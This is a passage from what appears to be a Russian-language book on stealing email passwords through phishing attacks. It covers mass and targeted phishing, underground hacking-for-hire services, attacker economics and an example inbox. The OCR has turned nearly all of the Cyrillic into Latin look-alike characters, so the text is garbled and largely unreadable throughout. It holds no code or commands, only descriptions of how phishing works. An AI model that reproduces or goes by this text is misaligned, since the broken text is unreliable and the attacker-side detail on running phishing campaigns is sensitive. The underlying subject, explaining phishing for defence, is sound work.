MeTon, HempaBOMEPHOrO AOCTYIIA C UCIIOIb30BaHMEM BpPeLOHOCHBIX
MPOTrpaMM COIPSKEH ¢ KOMIUIEKCOM 3aTpaT, CBSI3aHHBIX C YaCTOI He-
06X0IMMOCTBI0 MOAMMUKAIIUY UCXOTHOTO KOMIA, MaJIbIM ITPOI[EHTOM
3(pDeKTUBHOCTM B CUJIY IIMPOKOTO MCIIOAb30BAHMS ITPOrpaMMHO-aII-
MapaTHbBIX CPeCTB 3alUThI, MCIIOJIb3YEMbIX KaK Ha CTOPOHE cepBepa,
MpeaOCTaBIISIIONIEr0 MHTEPHET-CePBUC, TaK M HA CTOPOHE I0JIb30BaTe-
JISI-KePTBBI.

Kak mpaBmiio, [jis1 OCyLIeCTBIeHNSI XUILIEeHMS ITaposisl C UCIIOIb30Ba-
HJeM BpeJIOHOCHBIX ITPOrpaMM TPeOYIOTCSI HeCKOIbKO Pa3IMYHbIX TUTIOB
BpenoHocHoro I10, onTumMu3sauus mMoj MHOTOUMC/IEHHbIE OIlepaliOH-
Hble CUCTEMBI U IIPOrPaMMHOE OKPYKeHMe.

HemaBHO CKOMITMJIMPOBAHHBIN! BpemOHOCHBIN (aiia co BpemeHeM
CTAHOBUTCS JeTeKTUPYeMbIM aHTMBUPYCHBIM IMPOrpaMMHBIM obecrieye-
HMeM, ¥ IpPOBeJieHMe C ero MCIO0b30BaHeM HeCKOIbKUX 3 PeKTUBHbBIX
aTak He MpeACTaBSIeTCS BO3MOKHBIM.

TpeTwuii, 4yeTBEPThIN U MSATHINi MeTOAbI TPEOYIOT 6JIM3KOTO KOHTAK-
Ta C JXepPTBOW WIM Cpeloit ee 06MUTaHMS, TIO9TOMY MMEIOT y3Kuii, HO,
6e3yCJIOBHO, JIE/ICTBEHHBIN CIIEKTP MPUMEHEHUSI U CTaHyT, HaBepPHOE,
TEeMOJ OHOTO U3 CJIeAYIOIINUX 00CyKmeHuii. VicIoab30BaHMe IMPOorpamMm-
HBIX YTUJIUT, IlepexBaT TpaduKa, a Takke UCII0/Ib30BaHMe aniapaTHbIX

I Komrmmmsiius — Iporiecc IepeBoja (TPaHISLIMM) MCXOIHOTO KOga KOMITbIOTEPHOM
MMpOrpamMmbl C MPeIMETHO-OPMEHTUPOBAHHOIO $I3bIKa HA MAaIlMHHO-OPUEHTUPO-
BaHHBII SI3bIK.
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KeJIOTePOB U APYTUX CIEUMATbHbIX TEXHUUECKUX CPEACTB, MpefHa3Ha-
YeHHBIX 151 HECAaHKIIMOHMPOBAHHOTIO MOTyuyeHs MHPOpMaluu, 3aciy-
JKMBAIOT OTJIe/IbHOTO PACCMOTPeH S, TOTOMY Kak 3(pheKTUBHO MpUMeHSs -
IOTCSI B KOMILJIEKCE aTaK IPU OCYIECTBJIEHUM KOHKYPEHTHOM pa3BelKku
Y TIPOMBILIIEHHOM ILITTMOHAXe.

MeTop, BKIIOYaONMMii B cebst n3ydyeHne QyHKIMOHMPOBAHMUS TIPO-
rpaMMHO-AINapaTHBIX CPEACTB U MOUCK YSI3BUMOCTEN, MO3BOJISIOIINX
MOJIYYUTh HEaBTOPU30BAHHBIN OOCTYII, 3aHMMAaeT OTHEeIbHYI0 HUIIY
" SIBJISIETCS TOBOJIBHO cIienu(uueckKuM B CUITY ero 6e3ycJIOBHOM MH-
TeJIJIEKTYaJIbHOM COCTaBJISIONIel. B OONbIIMHCTBE CIyyaeB Takue ysi3-
BUMMOCTH OOHAPY>KMBAIOT M MCIOJb3YIOT JIlla M KOMIIAaHUM, He OTHOCSI-
Mecss K KpMMMHQJIbHOMY MUPY, €C/IM TOJIbKO Mbl HE pacCMaTpuBaeM
BO3MOXXHOCTM CJIMBA (MIPOAAKM) HAJIMUMS M OMMUCAHUS SKCIUTyaTalUumn
ySI3BMMOCTM, KaK 3TO MHOrma crydaeTcs. Ha mamsaTu aBTopa 1mogo6-
HOTO POJa CJIMBOB YSI3BMMOCTENM, IPUBELIINX K XUILEHUSIM JeHEXHbIX
CpeliCTB MOCPECTBOM 3KCIUTyaTalUy YSI3BUMOCTU IJIATEXHBIX CUCTEM,
ObLJIO BCET0 HECKOJIbKO, ¥ Te GbUIM MPOAAHbI 3JI0YMbBINIIEHHMKAM JIeii-
CTBYIOLIMMM COTPYAHUKAMM UM pa3paboTumMKamMy camux MHGopMaim-
OHHBIX CUCTEM.

[lepexoaum K TociegHeMy 03By4eHHOMY CIIOCOO0Y HelTpaBOMEPHOTO
nocryra. HecaHKIIMOHMPOBAHHBIN U, UYTO CaMOe IJIaBHO€e, CKPBITBIN J0-
CTYN K COOEPKMMOMY 3JIEKTPOHHOI'O MOYTOBOTO SIIIMKA, KaK M JOCTYII
K 1100071 yueTHOJ 3ammcu, 3GeKTUBHEee BCEro MOIyYUTh MeToaoM (pu-
LIMHT-aTaKu.

Kak roBopmi1 TeXHMUYECKMi1 IMPeKTOp Mo 6Ge3ormacHoCTM Symantec —
TJIOXYEe TIapHY OOBIYHO He IBITAI0TCS MCIIOIb30BaTh TEXHUYECKME YSI3-
BUMOCTH, — «BaM He HYKHO TEeXHMYECKMX HABBIKOB, YTOOBI HANTU Of-
HOTO YeJI0BeKa, KOTOPBIV MOKET OTKPBITh BJIOXKEHNE, KOTOPOE COOEPKUT
BPEOHOCHBIV KOHTEHT». TONbKO 3% BPeNOHOCHBIX IMPOrpamMm MbITa-
IOTCST MICTIONIb30BaTh TEXHUUECKMIA M3BSIH ITPOrPAMMHOI0 00ecIieyeHusl.
OcrasibHble 97% MIBITAIOTCSI 0OMAHYTh IMOJIb30BATE/ISI IIOCPEICTBOM CO-
IMaJIbHOM MHXXeHepuu'. Vi Kak MmoeTcsl B meceHKe pa300iiHMKOB U3
duibMa «Aii6onnT-66»: «HopMaibHbIe repou BCerga MayT B 00X0m».

ECTbh HECKOIBKO BECKUX IIPUYMH, ITI0 KOTOPBIM IpejJjiaraeTcsi BHMMa-
TeJIbHO pacCMOTPETDb MPo6ieMbl DUIIMHTA.

L https://digitalguardian.com/blog/social-engineering-attacks-common-techniques-how-
prevent-attack.
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OcobeHHOCMU puwiuHza

IppekmusHocms puwuHza

@ummHr Ha camoM fese 3(pdekTrBeH. [I[porpaMMHbIe KOMILIEKChI aBTO-
MaTU4eCKOJ 3alMThl MOTYT YaCTUYHO CITACTM OT MAaCCOBOTO (CJIEIIOTO)
(unmHra, HO He OT LieJieHaPaBJIeHHOrO (MePCOHMUPUILIMPOBAHHOTO).

Ha Bo/iHe TTOCTOSIHHO BCIUIBIBAIOLMX KOMIIPOMATOB, IIIaHTaXel, ayk-
I[MOHOB TI0 MPOJAaske YaCTHOI Mepernucku U pasanyHOro poja pazobsa-
YeHMI XOPOIIO 3apabaThIBAIOT CIENMAJIUCThI MHOOPMAILMOHHOIM
6e30MacHOCTM U OUCTPUOBIOTOPHI CIIEIMATN3UPOBAHHOIO ITPOTrpaMM-
HOTO obecrieueHMsI, K KOTOPbIM 0OpaIialTCcs MOTEeHIIMATbHbIE KePTBBI
C Le/IbI0 3al[UTUTh CBOU TaliHBbI.

Tem BpeMeHeM MpaKTHKa MOKa3bIBaeT, UTO OOJIbINAs YacTh HEIIPaBo-
MepHBIX BTOPXXeHUI IO-MpekHeMY peann3yeTcsl C UCII0Jb30BaHUEM
duumMHr-aTax.

JocmynHocme puwiurea

Peanu3anust GUIIMHT-aTaKM, B 3aBUCMMOCTH OT €€ B4, KOHEUYHO, MO-
SKeT OBbITh OCYIIECTB/IEHA OOBIYHBIM UeJIOBEKOM, He MMEIOIIUM ITTyOOKMUX
TeXHMUYECKUX TO3HAHMIA, KYIIUBIIMM «MHCTPYKIIMIO TI0 TIPMMEHEHUIO»
M COMYTCTBYIOIINE MHCTPYMEHTHI (O KOTOPBIX MbI IIOTOBOPUM [IaJIbIIIE)
Ha OJHOM M3 MHOXXeCTBa MOIIeHHMYECKUX MHTepHeT-GhOPyMOB, ITOTpa-
TUB He 60Jiee ThICIUM OaKCOB.

He3HaHue u HedonoHUMaHue

B ob61iiecTBe, HECMOTPSI Ha PETY/SIPHO U IIMPOKO OCBelllaeMble MHIIU-
IeHTbI, Kacawllyecs COLepXMMOTO 3/IeKTPOHHOM IOYTHI M3BECTHBIX
JIALL, MajIo KTO 3aZyMbIBAeTCsl O MexaHMuKe B3joMa. TOT ke, KTO 3a4y-
MbIBA€eTCs, CKOpee BCero, MPUXOAUT K BbIBOJLY, UTO COBEPILIEHHbIN JOCTYTI
K UY’KO¥ 3JIEKTPOHHOI IT0UTe, a TeM OoJiee TTOUTe M3BECTHOV ITePCOHbI
MJIV KPYITHOJM KOMITaHMM OCYIeCTBJIEH B pe3y/bTaTe CJIOKHeNIIen xa-
KepCKOW aTaKu.

Camu ke OTeprieBIIe MPOJOIKAIOT HACTYIIaTh Ha Ipabiin, CTAHOBSCh
skepTBaMM (PUIIMHT-aTak CHOBA U CHOBa. [ToaToMmy VIHTepHeT 1 cpeficTBa
MaccoBoit MHGOpMaLuM He YCTalT pafoBaTh uuTaTeneil OTPbIBKAMMU
MepemnmcKk 1 pa3anyHoro poga dororpadusiMu, He MpegHa3HAYEHHBIMU
1711 BCEOOIero 0603peHusl.



26  XVWLUEHWE NAPONEA METOLOM OMLIMHI-ATAK

A —————————

be3HakazaHHOCMb

Mastast ;oS BepOSITHOCTM OBbITh BBIUMCAEHHBIM UM BBICOKMIA IIAHC U3-
6e3kaTb OTBETCTBEHHOCTH.

Ilyist TOoro uToObl HaKa3aTh MPECTYITHMKA, er0 HY)KHO CHavasa Ioi-
MaTb, & YTOOBI MOMMATh — HYSKHO BBIUYMCIUTH. CJIOKHOCTh BBIUMCIEHUS
KMOEePIIPEeCTYITHMKOB BbITEKAET U3 UCIIONb3YeMbIX MMM METOMIOB U MH-
CTPYMEHTOB (KOTOpbIe OYIYT pacCMOTpPEHBI B riaBe 3 «OCOOEHHOCTH
KMOepPIIPeCTYIIEHUII»).

Ho 1 Ha BBIYMCIIEHUM KMOEPIIPECTYITHMKOB CJIOKHOCTY He 3aKaHUMU-
BAIOTCSI, IOTOMY UTO Y COTPYIHMKOB ITPaBOOXPAHUTENbHOM U CyHeOHOIi
CUCTeMbl 3HaHMe O (UIIMHTe BecbMa ITIOBEPXHOCTHOE, B CBSI3U C UeM
TPAKTOBKA 3aKOHOAATE/IbHbIX HOPM OCYIIECTBJ/ISIETCSI CBOE0Opa3HO U MO
9TOJ ke TIpUUMHe KMUOepITpecTyIvieHUsI YacTO HEBEPHO KBAIMUIIMPY-
IOTCSI U, TaK CKa>keM, He[IOOLIeHMBAIOTCSI.

B 9T0i1 yacTu mpobema MMeeT HeCKOJIbKO K/TI0UEeBbIX 0COOEHHOCTE
KaK C TEXHUYECKOI CTOPOHBI, TaK U C 3aKOHOAATEeIbHOI U IIpaBoIpuMe-
HUTEIbHO, KOTOpbIE C/IeyeT OTMETUTD OTIAEIbHO, M 3TO OYAET CIeIaHo
B IMOC/IeAYIOIINX YaCTSIX.

Buoebi ¢puwunzo8bix amak

PaccmoTpyuM BuIbI (PUIIMHTOBBIX aTaK M pa3bepeM JeTaJbHO MeXaH3M
byHKUMOHMPOBaHMS GUIIMHTA — OT CO3JAaHMUS U OO ero IMpuMeHeHMUsI
(w1 Hao06OopOoT).

YuuThiBasl, UTO 3JIEKTPOHHBIN MMOYTOBLIN aApec SIBJISIETCS Kaaccuue-
CKOJ MMIIIEHBIO IJISI TAKOI'O TUIIA aTakK, MHTepecHee U ILiejaecoodbpasHee
paccMOTpeTh (PUIIMHT-aTakKy MMEHHO Ha 3JIEKTPOHHYIO TTOUTY.

WTak, pa3rpaHMYMM, HACKOJIBKO 3TO BO3MOXXHO, IBa OCHOBHBIX Ha-
MIpaBJIeHNSI, WJIM, MOXKHO CKa3aThb, Buaa (PUIIMHTA.

Ha mepBbIit B3/, «QUIIMHT — OH U B Adpuke QUIIMHT», HO KjIac-
cuduKaIys, 1o KOTOpPOoit HeoOXOAMMO pasjindaTh ABa CYIIeCTBYIOIINX
BUa, 00YCIOBJIeHAa OCHOBHOJ XapaKTepPUCTUKON ITOrO0 MeTOonda, Kak
" J1060T0 APYTOTOo MPECTYIIEHNS], — eT0 OMacHOCThI0. OTIaCHBIM MOXKET
OBITH 11000V TIpeIMeT, Jaske KapaHJalll, BCe 3aBUCUT OT 0OCTOSITEILCTB.

Cnenoli puwiuxz

[lepBbIit, cCaMblii pacIpOCTPAaHEHHBIV BUI, (PUIIMHTA — 3TO «CJIEI0i»
dbuimHr, 60€ee pacrpoCcTpaHeHHbBI KaK yCoIyra, KOTopasi mpegocTaB-
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JISIeTCS AOBOJIBHO MIMPOKO. DTOT BUJ, (GUINNMHTA TAaKKe Ha3bIBAIOT «Mac-
COBBIM» (PUIIIMHIOM.

CTOUT BBECTU B ITOMCKOBUKE YTO-HUOYIb BPOIE «B3JIOM IOUTHI», TYT
Ke HalOgyTCsl MHTEePHET-BUTPUHDI, ITPEJOCTABIISIION[ME «B3JIOM IOUTHI
Ha 3akas» 3a croumocTb oT 50 mo 500 mosutapos CIIA, ¢ obemanmem
MPegoCTaBUTh JOCTYII K JIIOO0OMY ITOYTOBOMY SIIIMKY MJIM aKKAYHTY, He
M3MEeHSISI [TaposIsl YUETHOM 3aITCH JKePTBbI, C COXpaHeHMeM TOJTHOM aHO-
HMMHOCTY ¥ OTCYTCTBMEM ITpeIOIIIaThI.

YTo 6bI TAM He 0belaIu IpeacTaBUTe M 3TOr0 He3aKOHHOro O13Heca,
Kakye 6bl CKa3KM PO CBOM YMEHMSI M METOMIbl He paccKa3bIBasiM, BCe
OHM B3JIaMbIBAIOT ITOYTY OAHMUM CITIOCOO0M — puimHroM. 1 aBTOp B 3TOM
ybenucs skeyie300eTOHHO, ITPOBEPUB UX BCEX.

[TpencraBuTENN 3TOTO BUAA (PUIIMHTA HECMJIBHO 3aMOPaYMBAIOTCS 110
noBoay 3G (eKTMBHOCTM MPOBOAMMBIX aTak, 37eCh BCe MOCTaBIE€HO Ha
KOHBeJiep, pacChbIKY IMYCEM OCYIIECTBJISIIOTCS [TOCPENCTBOM Pa3IMIHBIX
CIIaM-TeXHOJIOTUiA. [lepskaTesiM TaKuX CaiiTOB €XeJHEBHO IMOCTYIAaloT
COTHM 3aKa30B, XepPTBaM PaCChUIAIOTCS IIabJOHHBIE BapMAaHThI aTak,
3aBOASIIME HA YK€ XpOMAIoIye OT CTapOCTH (@ MHOTJA OT KPUBBIX PYK)
GUIIMHT-ABMKKY, TakKe Ha3biBaemble ¢atiku'. K aHanmsy GbummHr-
IBVDKKOB Mbl BEPHEMCS UYTh ITO3KeE.

[IpOIIeHT YCIENTHOTO IOMyUYeHUsI TIapoJis TaKUMMU OeIbllaMi He TaK
BEJIMK U TIOCTOSTHHO CHIM3KAeTCs. DTOT (hakT He OUeHb 6eCITOKOUT TaHHYIO
TPYIIITY KMOEePIPecTyITHUKOB, MO0 B OOTBIIMHCTBE CBOEM paccMaTpuBae-
Masi IesITeJTbHOCTb He SIBJIIETCSI MX OCHOBHBIM JOXOJIOM, a 3aTpaThl Ha
MIpOBeieHNe TaKUX aTak ObICTPO OTOMBAKOTCS. Bee 910 pasbepem B cie-
OYIOUIMX YaCTSIX.

MaccoBbiit GUIIMHT Havyaa UCIIOJb30BaThCsl OoJiee MecsTH JieT Ha-
3a/1, KOTIa MOIIEeHHMKM MAaCKMPOBAIM CBOM (DUINMHTOBBIE MIChMA IO
obuManbHble, HAIPaBJIeHHbIE, K IPUMepPY, OT UMeHM aJMUHUCTPAIAN
TTIOYTOBOTO CEPBMCA WM CITYXKObI TIOIIEPKKM, & YKPaJeHHbIE TTOYTOBBIE
azpeca MCIOIb30BaAIMCh JJIS1 PACChIIKYM CIlamMa, Kpasky aKKayHTa B CO-
IMAIBHOM CeTH, pexke — /I KPasky JIeHer ¢ 9JIeKTPOHHBIX KOIIETbKOB
1 6AHKOBCKMX Kapr.

M3BecTHBIMM TeMaMM (PUIIMHTOBBIX COOOIEHNIT TeX JIET ObIIN YBe-
OOMJIEHUS O 3aKPbITUM, OTKPBITUY, GIIOKMPOBKEe 6AHKOBCKMX CUETOB

! ®oiik — ot aHrI. fake [feik] — mopmenbHbBINA, GanbIIUBBINA, TOKHBIN, GUKTUBHBIN, TTOA-
CTaBHOIA.
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" TUIACTUKOBBIX KapT, M3BELIeHMS U3 TOCYIapCTBEHHBIX OPTaHOB (Ha-
snorosoy, 'TMB/I n mpounx rocygapCTBEHHBIX CTPYKTYP). B mucbmax
MaccoBOro GUIIMHTA MTOIb30BaTeNel TAKKe TPOCUIY OOHOBUTH CBOU
OaHHbIe MJIVM BOWTM B aKKAyHT, UTOOBI ITPOYECTDb CIelMaJibHOE CO-
obiuieHune.

HexkoTopble repeuncieHHbIe TEMbI UCITOIb3YIOTCSI U TI0 Cet IeHb.

OduimanbHo LleHTpo6aHK roBopUT 06 yrpose duimmura ¢ 2006 roma
B MHOOpPMALIMOHHOM IMChbMe!, yKasbIiBas Ha paboTy MaCKUPYIOIIMXCS
Be6-CaifToOB, HAITpaB/IEHHBIX HA «3aMaHMBaHMe» TI0JIb30BaTeJIel C Ie/IbI0
PacKpbITUS KOHPUOEHIIMAIbHOM MH(OpMAaIMM ITOCPEICTBOM MUCITONIb30-
BaHMs OO IeIbHbIX BeO-CaliTOB.

Camas 1aBHast 0COGEHHOCTb MaCCOBOTO, MJIN CJIETIOTO, (pUIIMHTa 3a-
KJTIOYAeTCs B TOM, UTO aTaKYIOUIMii TIOHSITUSI HE IMEEeT, KOro, COOCTBEH-
HO, aTakyerT. [To3TOMy M3HAYaIbHOE MTPOUCXOXKIEHMEe JAHHOTO MeTo1a —
(buIINMHT — BIIOJTHE OINpaBAbIBAET CBOE 3HAUYEHME.

LleneHanpaeneHHviii puwiuHz

BTopoit 1 camMbIii onacHbI BUA (GUIIMHTA — 3TO «IlleJeHarpaBJIeHHbIN»,
«TIepPCOHAM3UPOBAHHbIN», UJIU «TOYEUYHbII», GUIIMHT. IME@HHO 3TOT BU/I
duumHra siBasieTcss OGHUM U3 OCHOBHBIX MHCTPYMEHTOB B OpPY>KeiHOM
apceHasie KMOepIIMOHaKa.

OTnuunit OT MepBoro poaa GUIIMHTa JOBOJIbHO MHOTO.

[ ipoBeneHus NepPCOHAIM3UPOBAHHOM aTaKy pacchliaeMble CO-
001meHnsT He OYIyT MacKMPOBAThCS IO CIYKOY IOAIEepsKKM CepBica,
B CBSI3U C UeM OOJIBIIMHCTBO COBETOB, KOTOPBIE IIPUXOAUTCS BCTPEUATD,
HaIlpaB/JI€HHBIX Ha TO, YTOOBI HE CTATh SKEPTBOI (DUIINMHTA, ITIPOCTO He
MOAXOIUT MPU 1eJieHanpaBAeHHO! (PUILIMHTOBO aTake.

IleneHarpaB/ieHHbI QUIITMHT OTJMYAET IIPeskae BCero MHAMBUIYaAIb-
HbIV MOAXOM K ero peannsauyuu. Bce HaunMHaeTCs ¢ U3yyeHUs MepPCOHBI
" ee OKpYyXKeHMs. Mi3ydyaeTcst CTUIMCTUKA [TepencKu, Haripumep rocpes-
CTBOM IOJTyYE€HMS NOCTYIIa K BO3MOKHBIM IMapTHepPam, POACTBEHHMKAM,
MTOAYMHEHHBIM BbIOPAHHO 1IJN.

i1 MHOVMBUIYAIbHOV (DUINMHIOBOM aTaKu CIIeIMaIbHO COOMpPaIoT-
cs1 IBVSKKM ((paiiku), ¢ MCIIOIb30BaHMEM MepCOHaIbHOM MHpOpMaIH,
dororpaduit 1 APyroit aTpuOyTUKNA.

1 MHpopMalMOHHOE MMCbMO JlerapTaMeHTa BHEIIHMX M 00IeCTBEHHbIX CBsI3ei baH-
ka Poccun: http://www.cbr.ru/press/PR/?file=060707_1441352.htm.
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YacTo AJ1s1 TakKMX aTak MPUBJIEKAIOTCS YUYeTHbIe 3aIUCH JIULI, C KOTO-
pPbIMM BbIOpaHHAs 11eJIb PErYISIPHO OCYIIECTBJISIET MepPeniucKky M ooMeH
daitnamu. IoCcTym K TaKUM «OIM3KMM» YYeTHBIM 3aMyucsmM OObIYHO 3a-
671arOBpeMeHHO TO/TyUeH TepBbIM CITI0CO60M (pUIIMHTA.

C 1esblo M3y4eHMs] MOTEeHIMATbHOI XePTBbI 3/I0yMbIIIIEHHUKAMU
OCYIIECTBJISIETCS] KOMIUIEKC CITel[MaIbHbIX MEPOIIPUSITUI, BKIIOYAOLI T
B Cebs1 co3faHue pasiMyHoro poga MHGOPMAIMOHHBIX PECYPCOB, OCY-
1IeCTBJIeHNe aTaK Ha OKPYXKAIOIIUX MEePCOHY JIUI U JaXXe BCTYIUIEHME
C TIePCOHOI B Iepenucky. HeKOTOphIM M3 3TUX MEpPONpUSITUIL OymeT
yIeleHO BHMMaHNe B JaJIbHEMIINX YaCTsIX KHUTH.

[TogroroBKa K 1ieJieHaIrpaBieHHO (PUITMHTOBOI aTake MOXKeT AJIUThb-
CSI HECKOJIBKO MECSIIIEB U CTOMUTH COTHM ThICSY pyOsieit, mpyu 3TOM IIpo-
BefleHMe OObIYHOM MacCOBOI (C/IeIToi) (GUIIMHT-aTakKy He CTOUT IpaK-
TUYECKM HUYero.

duHaHCOBasl BBITOA OT IiejieHAMpaB/JeHHOro (puiIMHra ropasfo
BbIllle, ¥ BCe 3aTpaThl OKyMaroTcs. LlenssmMu Takoit GUIIMHT-aTaku CTa-
HOBSITCSI, KaK IIPaBUJIO0, TTIOUTUYECKNE NIesITeIN, M3BeCTHbIe MeuiiHbIe
TIepPCOHBI ¥ OM3HECMEHHBI.

[TomynsipHbIE XaKepCKyue TPYIIMPOBKM BO3IJIABJISIOTCS Ceifyac «Me-
HeJl)KepaMM», YIpaBJeHIlaMy, KOTOpble TIIATe/lbHO MPOAYMBIBAIOT
BEKTOPbI aTaKM U, Kak MMpaBuIo, UTPAIOT Ha BcexX (PPOHTAX, IJle MOXKHO
3apaboTarb. Bce oHM, BO3MOXKHO, BBITOAHBI T€M MJIM MHBIM BJIaCTHBIM
CTPYKTYpaM, HO KeM Obl OHM HU ObLIM, METOMAbI /151 KMOEepPIITMOHasKa
VCIIOJIb3YIOTCS OOHU U TE XKe.

[IpakTHUUecKky Bce XaKepcKue aTak, O KOTOPbIX TaK YaCTO TOBOPUTCSI
B CPeACTBAaX MacCOBOV MHMDOPMALIMU U C IMTOTUTUIECKUX TPUOYH, B TO
WJIM MHO Mepe coiepykajiy B KOMIIEKCe 1eJieHarpaBaeHHble (QUIIMHT-
aTaku.

O ueneHamnpaB/ieHHOM (UIIMHTE BCepbe3 U MO0 BCEMY MUPY 3aroBoO-
punu ¢ 2011-2012 rogoB, 3TO HAXOOUT CBOE OTPaskeHUe B MyOIMUHBIX
oTyeTax KOMaHMi, 3aHMMaIONIMXCSI MHPOPMALIMMOHHOM 3alUTOl .

Hy 1 Kak He BCcrtoMHMTD HamrymeBine B 2016 romy aTtaku, CBSI3aHHbIE
C BbIGOpaMM, eciv BepUTh pa3MellleHHOMY B CeTU JOKYMEHTY?, OHU TaK-
ke ObLTM COBEepIIIeHbI C MCIO/Ib30BaHKeM (PUIIMHTA.

L https://www.cisco.com/c/dam/global/ru_ru/downloads/broch/ironport_targeted_
phishing.pdf.

2 https://www.documentcloud.org/documents/3766950-NSA-Report-on-Russia-
Spearphishing.html.


https://www.cisco.com/c/dam/global/ru_ru/downloads/broch/ironport_targeted_phishing.pdf
https://www.cisco.com/c/dam/global/ru_ru/downloads/broch/ironport_targeted_phishing.pdf
https://www.documentcloud.org/documents/3766950-NSA-Report-on-Russia-Spearphishing.html
https://www.documentcloud.org/documents/3766950-NSA-Report-on-Russia-Spearphishing.html
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B yacTHOCTM, B ONyGIIMKOBAHHOM JTOKYMEHTE TOBOPUTCS O COBep-
IIeHUM KubepaTaky Ha OJHOTO M3 IMOCTaBIIMKOB IIPOrpaMMHOI0O obec-
TeyeHus, NpeJHa3HaueHHOT0 /ISl TIPOBeJIeHUs BbIOOPOB, KOTOpas 3a-
KJTI0YaIach B PacChlIKe 1eJIeBbIX (PUIIMHTOBBIX COOOIEeHNH Goslee yeM
CTa YMHOBHMKAM U3 U30MPaTeTbHOI CUCTEMBI.

3/I0yMbIIIJIEHHUKY, TIPOBOJISIIINME 1ieJieHarpaBjieHHble (PUITMHTOBbIE
aTaku, BCeraa COBEPIIEHCTBYIOT CBOIO TAKTYMKY M OYeHb YaCTO T0OMBAOT-
cs1 cBOero Osiaromapst COLMaabHOM MHXKeHepUM, 0 KOTOPOi pedb I0iiIeT
MO3Ke.

JIJ1s1 TIOJTHOTBI KAPTUHBI POJIb ¥ MeCTO MUIINMHTA OYIYT PacCMOTPEHbI
Ha MpuMepe peann3alyuy pas3anyHbIX KOMOVMHMPOBAHHbBIX aTak.

1.1. Kak ato nponcxoaut? OuiumHr-ataka

CO CTOPOHbDbI NONb30BaTeNA Ha nNpuMepe
S/IEKTPOHHOI0 NOYTOBONO ALWUKa

[l MOHMMaHMS IPUPOABI M MexXaHM3Ma QUIIMHTA HY>KHO PacCMOTPETh
ero XOTb pas B AelicTBuM. HarnsgHee BCero 3T0 MOXHO Cle/1aTh Ha MPU-
Mepe GUIIMHT-aTaKM Ha 3J€KTPOHHbIE TTOUTOBbIE afpeca, OCYIeCTB-
JISIeMOJA C 1eJIbI0 CKPBITOTO IMOTyYeHUS TTapois.

CerogHsl MpaKTUUYECKU KaXKObIMi UyeOBEeK MCII0Ib3yeT HeCKOIbKO
3JIEKTPOHHBIX TTIOYTOBBIX aJpeCcOB, KAK KOPIIOPATUBHBIX, TaK U JTUYHBIX,
3apermcTpUpPOBaHHBIX HA MyOJMUHBIX TOUTOBBIX CEPBUCAX.

Ha Bce 3TM mOYTOBbBIE aJipeca eXeJHEeBHO MOCTYNAaKT NEeCTKH, a TO
Y COTHM COOOIIeHMIA.

I mpoBeneHNst PUIIMHT-aTaky COBEPIIEHHO He Ba)KHO, HA KaKOM
TOYTOBOM CepBICe, ITyOTMYHOM UM KOPIIOPATUBHOM, HAXOOUTCS yUueT-
Hasl 3aMCh MTOTEHLMATbHON KEePTBBI.

YesioBeueCcKkuii MO3T, MOJAb3YSICh OMBITHBIM MyTEM 3aKpelJieHHOM
CBSI3bI0 MEXAY BUAMMBIM U HEBUIMMBIM, a B JAHHOM CiTy4yae — 1n300pa-
KEHUSIMU U COflep>KaHMeM, He yAessieT JOCTAaTOYHOTO BHMMAaHMUS Kax-
OOMY TOJYyYeHHOMY NMUCbMY U COBepliaeMOMY OeicTBui0. MHOTro-
Y)CIeHHbIe KJIMKM MBIIIKAMU M BBOJ, JAaHHBIX C KJIaBUATYpPbl — 3TO
aBTOMaTHuecKkye elicTBYs, He TpeOyolliye OT OINbITHBIX MOJIb30BaTee
YMCTBEHHbBIX YCUJINIA.
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OueHb YaCTO MOTEpPIEBIINME, OOpalllaBIIMecs C 3asBJIEHEM O HeIlpa-
BOMEPHOM JIOCTYTIE K 3JIEKTPOHHOMY aKKayHTY MJIM 110 (DaKTy HapyIIeHUs
TaifHbI ITIEPEICKY, He MOIJIM Ha3BaTh CII0c06a, KOTOPHIM BOCIOJIb30Ba-
JIUCh 3JI0[1eU, ¥ MOMEHT BpeMeH!, KOTr[1a MMeHHO MPOM30IIesT «B3JIOM»,
OIHAKO B Mpoliecce MPoBeaeHNs UCC/Ie0BaHMS UM KOMITbIOTePHO-TeX-
HUYECKO SKCIePTU3bl OOHAPYKMBAIMUCH CJIeIbl (QUIIVHT-aTaKMy.

[Ijis1 TOro 4TOObI pa3 M HaBcerga pa3obpaThcsl B MeXaHMKe (PUIINMHT-
aTaky, IOCMOTPUM Ha MPOUCXOAsIIee C HeCKOIbKUX CTOPOH.

CHauajia CO CTOPOHBI aTaKyeMOro IoJib30BaTesss. PaccMOTpuM KOH-
KpeTHbIN IpuMep, CMOIeIMPOBAHHBIN HAa OTHOM U3 3JIeKTPOHHbIX ajipe-
COB aBTOpA.

Ha IOYTOBBIN SIIIMK IPUXOIUT OOBIYHOE JIEKTPOHHOE IMMChMO.

Ha puc. 1.2 B cricke BXOASIIMX NUCeEM coaepkuTcs nucbMo ot 000
«Mar"uT» ¢ Temoii «3akas», MMelollee BO BIOKeHUM (aii.

@mcil.fu Micoma  KoHTaiTol  @aiinel  Tewsl Ewe Kanenaaps
[# Hanwcats ncbmo O~ | ®vawn & Bapus ‘A Cnam | MMepemects ¥ | = EWE v 1—25v1943 4 1 2 3 4 5w A ¢  Bm~-
Brogaume 1464 MoxanyieTa yame Howep Tenedona. 3o nomo T K BLicTH o iz em noTep ynosens B A 8

Ompasenktie

Yeprosiio O e @ Komanaa Mail. R HOMUTB! Mpueer! Monpofiyi HOBLIA CepBAT ANA NOUCKa NONYTUMKDE. Mel cosaany Bee 11:24

Cram  owenm O e e 000 Mariur 10:46

Kopama
O e @ Exarepina uz 1PS.RU 0c yew wa Bawn yenyra. W npo poct Baweh npubeind Kownnexcros SEO SMM Kpaya-t 21mon

. n O e “GoF uckBi @ noa Ykpauny? - GoFuckBiz i m Bac, .1 GoFur 21mon
O e Readbymail - faimiect 10 cnocoBoe yewsets wap Gecnnatho [laiwect narepecsi warepuanos Ny swme warepuan & perynspaod paccenke 10 cnocofios y 20 o
O e o ACD Systems © 48 Hours Left to Save 50% on ACDSee 20 Szve 50% on ACDSee 20 | Unsubseribe Organize, edit, and share your photos with ease. , 20mon
O e “GoF uckBiz" GoFuckBiz - Kpritsua BLINYCTAT KpUNTOBaNK0TY. AIKAEKC HA3BAN MHCAO KEPTE NATHbIX NOANMCOK. MineTcreyen Bac, yeaxashl 17 mon
O e o ACD Systems Anders, have you tried our patented Light EQ technology in ACDSee Pro 107 Save 50% on ACDSee Pro 10 | Unsubscribe Total Pho 17 o
